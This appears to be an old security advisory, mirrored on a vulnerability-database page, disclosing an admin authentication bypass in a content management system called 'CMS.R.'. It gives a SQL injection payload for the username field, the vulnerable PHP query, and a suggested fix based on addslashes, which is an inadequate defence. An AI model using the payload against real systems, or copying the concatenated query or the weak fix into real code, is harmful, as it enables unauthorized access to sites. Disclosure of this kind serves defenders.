Lucene search
+L

cmsSQL.txt

🗓️ 13 Sep 2006 00:00:00Reported by HACKERS PALType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

CMS admin authentication vulnerability allows bypass using SQL injection method via username input.

Code
`Hello  
  
Title : CMS.R. the Content Management System admin authentication baypass  
Discovered by : HACKERS PAL  
Copyrights : HACKERS PAL  
Website : WwW.SoQoR.NeT  
Email : [email protected]  
  
The Vulnerability works 100% with magic_quotes_gpc = off  
  
put the user name value (' or 1=1/*)  
  
[code]  
' or 1=1/*  
[/code]  
  
and you will login :)  
  
error file : index.php  
line : 48  
  
query :-  
[code]  
$query = "SELECT * From ".$config->get("TABLE_USER")." where BINARY username='".$_POST['adminname']."' AND BINARY pass='".$_POST['adminpass']."'";  
[/code]  
solution:-  
  
replace  
[code]  
$query = "SELECT * From ".$config->get("TABLE_USER")." where BINARY username='".$_POST['adminname']."' AND BINARY pass='".$_POST['adminpass']."'";  
[/code]  
  
with  
[code]  
//  
// Fixed By : HACKERS PAL  
// WwW.SoQoR.NeT  
//  
$query = "SELECT * From ".$config->get("TABLE_USER")." where BINARY username='".addslashes($_POST['adminname'])."' AND BINARY pass='".addslashes($_POST['adminpass'])."'";  
[/code]  
  
WwW.SoQoR.NeT  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation